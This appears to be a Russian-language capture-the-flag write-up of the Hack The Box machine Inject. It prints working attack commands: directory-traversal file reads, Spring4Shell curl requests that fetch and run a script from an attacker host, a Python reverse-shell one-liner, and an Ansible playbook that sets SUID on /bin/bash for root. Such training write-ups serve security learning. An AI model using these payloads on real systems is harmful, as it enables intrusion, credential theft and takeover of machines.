Хакер - HTB Inject. Используем Ansible playbooks для повышения привилегий

Хакер - HTB Inject. Используем Ansible playbooks для повышения привилегий

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Spring4Shell
  • Продвижение
  • Локальное повышение привилегий

В этом рай­тапе я покажу, как повысить при­виле­гии с при­мене­нием тех­ники GTFOBins для Ansible playbooks. Но преж­де, чем доб­рать­ся до него, нам пред­сто­ит про­экс­плу­ати­ровать уяз­вимость Spring4Shell в фрей­мвор­ке Spring и заполу­чить учет­ные дан­ные поль­зовате­ля.

На­ша цель — зах­ват тре­ниро­воч­ной машины Inject с пло­щад­ки Hack The Box. Уро­вень ее слож­ности — лег­кий.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.204 inject.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Мы наш­ли два откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.2p1;
  • 8080 — веб‑сер­вис Nagios NSCA.

На SSH мы сей­час ничего не добь­емся, поэто­му обра­щаем свой взор на веб‑сер­вер.

Глав­ная стра­ница сай­та

ТОЧКА ВХОДА

На сай­те мож­но зарегис­три­ровать­ся и залоги­нить­ся, к тому же в гла­за бро­сает­ся воз­можность заг­ружать фай­лы через пункт меню Upload. Перей­ти на эту стра­ницу и заг­рузить файл получит­ся и без авто­риза­ции.


Фор­ма заг­рузки фай­ла

Пос­ле заг­рузки фай­ла нам пред­ложат прос­мотреть его по ссыл­ке. Более инте­рес­но это выг­лядит в Burp History.

Burp History

Имя заг­ружен­ного фай­ла переда­ется в качес­тве парамет­ра img стра­ницы /show_image. В таком слу­чае сле­дует про­верить, нет ли здесь уяз­вимос­ти LFI, которая поз­волит смот­реть про­изволь­ные фай­лы с обхо­дом катало­га, к при­меру.

Про­буем про­читать файл ../../../../../../../../../../etc/passwd, и у нас получа­ется.

Со­дер­жимое фай­ла /etc/passwd

Зна­чит, LFI при­сутс­тву­ет, это нам при­годит­ся.

ТОЧКА ОПОРЫ

При попыт­ке рас­кру­тить уяз­вимость обна­ружи­ваем, что мы можем не толь­ко смот­реть фай­лы, но и получать лис­тинги катало­гов.

Со­дер­жимое катало­га /etc/

Да­вай пос­мотрим, что лежит в /var/www/, что­бы най­ти каталог с сай­том.

Со­дер­жимое катало­га /var/www/

Это явно дирек­тория WebApp. Давай гля­нем фай­лы в ней.

Со­дер­жимое катало­га /var/www/WebApp/

Так мы узна­ем, что име­ем дело с при­ложе­нием на Java. Пос­коль­ку исполь­зует­ся средс­тво сбор­ки Maven, вся струк­тура про­екта опи­сана в фай­ле pom.xml (Project Object Model), который находит­ся в кор­невой пап­ке про­екта. В Maven есть понятие «арте­факт» — это какая‑то зависи­мость или пла­гин.

Со­дер­жимое фай­ла /var/www/WebApp/pom.xml

В этом про­екте исполь­зует­ся фрей­мворк Spring — это средс­тво внед­рения зависи­мос­тей с нес­коль­кими удоб­ными сло­ями (сре­ди них — дос­туп к базе дан­ных, прок­си, аспек­тно ори­енти­рован­ное прог­рамми­рова­ние, RPC, веб‑инфраструк­тура и про­чие). Все это поз­воля­ет быс­трее и удоб­нее соз­давать при­ложе­ния на Java, но исполь­зование таких фрей­мвор­ков может при­вес­ти к рис­кам для безопас­ности. Так, эта вер­сия Spring содер­жит извес­тную уяз­вимость Spring4Shell.

Spring4Shell

Этот баг при­водит к уда­лен­ному выпол­нению кода (RCE). Под­робнее о том, как это работа­ет, можешь про­читать в бло­ге Sysdig. Что­бы про­верить уяз­вимость, поп­робу­ем запус­тить прос­той веб‑сер­вер на осно­ве Python 3 и обра­тить­ся к нему с уда­лен­ного сер­вера:

curl http://10.10.14.16/test_rce

По­лучит­ся такой зап­рос:

curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.16/test_rce")' 'http://inject.htb:8080/functionRouter' --data-raw 'test'

Ло­ги веб‑сер­вера

Ви­дим зап­рос в логах, а зна­чит, уяз­вимость под­твержде­на. Запус­каем лис­тенер pwncat-cs -lp 4321 и выпол­няем реверс‑шелл. В качес­тве шел­ла исполь­зуем сле­дующий про­верен­ный вре­менем код на Python:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.16",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Од­ной коман­дой это выпол­нить не выш­ло, поэто­му пер­вой коман­дой ска­чива­ем реверс‑шелл, вто­рой прис­ваиваем пра­ва для выпол­нения, а треть­ей выпол­няем шелл.

curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.16/rs.sh -o /tmp/rs.sh")' 'http://inject.htb:8080/functionRouter' --data-raw 'test'

curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/rs.sh")' 'http://inject.htb:8080/functionRouter' --data-raw 'test'

curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("/tmp/rs.sh")' 'http://inject.htb:8080/functionRouter' --data-raw 'test'

Сес­сия поль­зовате­ля frank

ПРОДВИЖЕНИЕ

В домаш­нем катало­ге поль­зовате­ля находим скры­тую пап­ку .m2 для нас­тро­ек Maven.

Со­дер­жимое домаш­него катало­га поль­зовате­ля

В этой пап­ке дол­жен быть файл settings.xml, как раз и опи­сыва­ющий основные парамет­ры. Нам повез­ло, в фай­ле наш­лись еще и учет­ные дан­ные.

Со­дер­жимое фай­ла settings.xml

Ме­няем поль­зовате­ля с помощью ути­литы su и получа­ем пер­вый флаг.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Мы вош­ли в сис­тему и получи­ли флаг поль­зовате­ля, но для прод­вижения к руту нуж­но сна­чала соб­рать информа­цию о сис­теме. Я, как обыч­но, исполь­зовал скрипт LinPEAS, но он ничего осо­бен­ного не показал.

Ес­ли базовый перебор потен­циаль­но инте­рес­ных мест в сис­теме ничего не дал, зна­чит, нуж­но отсле­живать запус­каемые про­цес­сы. Для это­го есть отличное при­ложе­ние pspy64. Заг­рузим его на хост, дадим пра­во на выпол­нение, а потом запус­тим и будем монито­рить логи. Таким обра­зом обна­ружи­ваем, что запус­кают­ся про­цес­сы ansible-playbook и ansible-parallel, но что более инте­рес­но — они запус­кают­ся в кон­тек­сте поль­зовате­ля с нулевым UID, а это root.

Вы­вод ути­литы pspy64

Так­же сто­ит обра­тить вни­мание на исполь­зуемый путь:

/opt/automation/tasks/*.yml

По­луча­ется, мы можем передать на при­виле­гиро­ван­ное выпол­нение любой кон­фиг YML в катало­ге /opt/automation/tasks/. К тому же записы­вать в эту дирек­торию могут поль­зовате­ли груп­пы staff, в которой мы и сос­тоим (вывод коман­ды id при получе­нии сес­сии).

Пра­ва на каталог /opt/automation/tasks/

Пер­вым делом я решил про­верить тех­ники GTFOBins и нашел ту, которую мож­но исполь­зовать.

Тех­ника GTFOBins для ansible-playbook

Од­ной коман­дой мы соз­даем кон­фигура­цию, которая при­ведет к выпол­нению коман­ды /usr/bin/chmod u+s /bin/bash.

echo '[{hosts: localhost, tasks: [shell: /usr/bin/chmod u+s /bin/bash]}]' > /opt/automation/tasks/get_root.yml

Спус­тя некото­рое вре­мя про­веря­ем пра­ва на файл коман­дной обо­лоч­ки /bin/bash и видим выс­тавлен­ный S-бит.

Пра­ва на файл /bin/bash

Справка: бит SUID

Ког­да у фай­ла уста­нов­лен атри­бут setuid (S-атри­бут), обыч­ный поль­зователь, запус­кающий этот файл, получа­ет повыше­ние прав до поль­зовате­ля — вла­дель­ца фай­ла в рам­ках запущен­ного про­цес­са. Пос­ле получе­ния повышен­ных прав при­ложе­ние может выпол­нять задачи, которые недос­тупны обыч­ному поль­зовате­лю. Из‑за воз­можнос­ти сос­тояния гон­ки мно­гие опе­раци­онные сис­темы игно­риру­ют S-атри­бут, уста­нов­ленный shell-скрип­там.

Так мы и получа­ем новую при­виле­гиро­ван­ную сес­сию.

/bin/bash -p

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page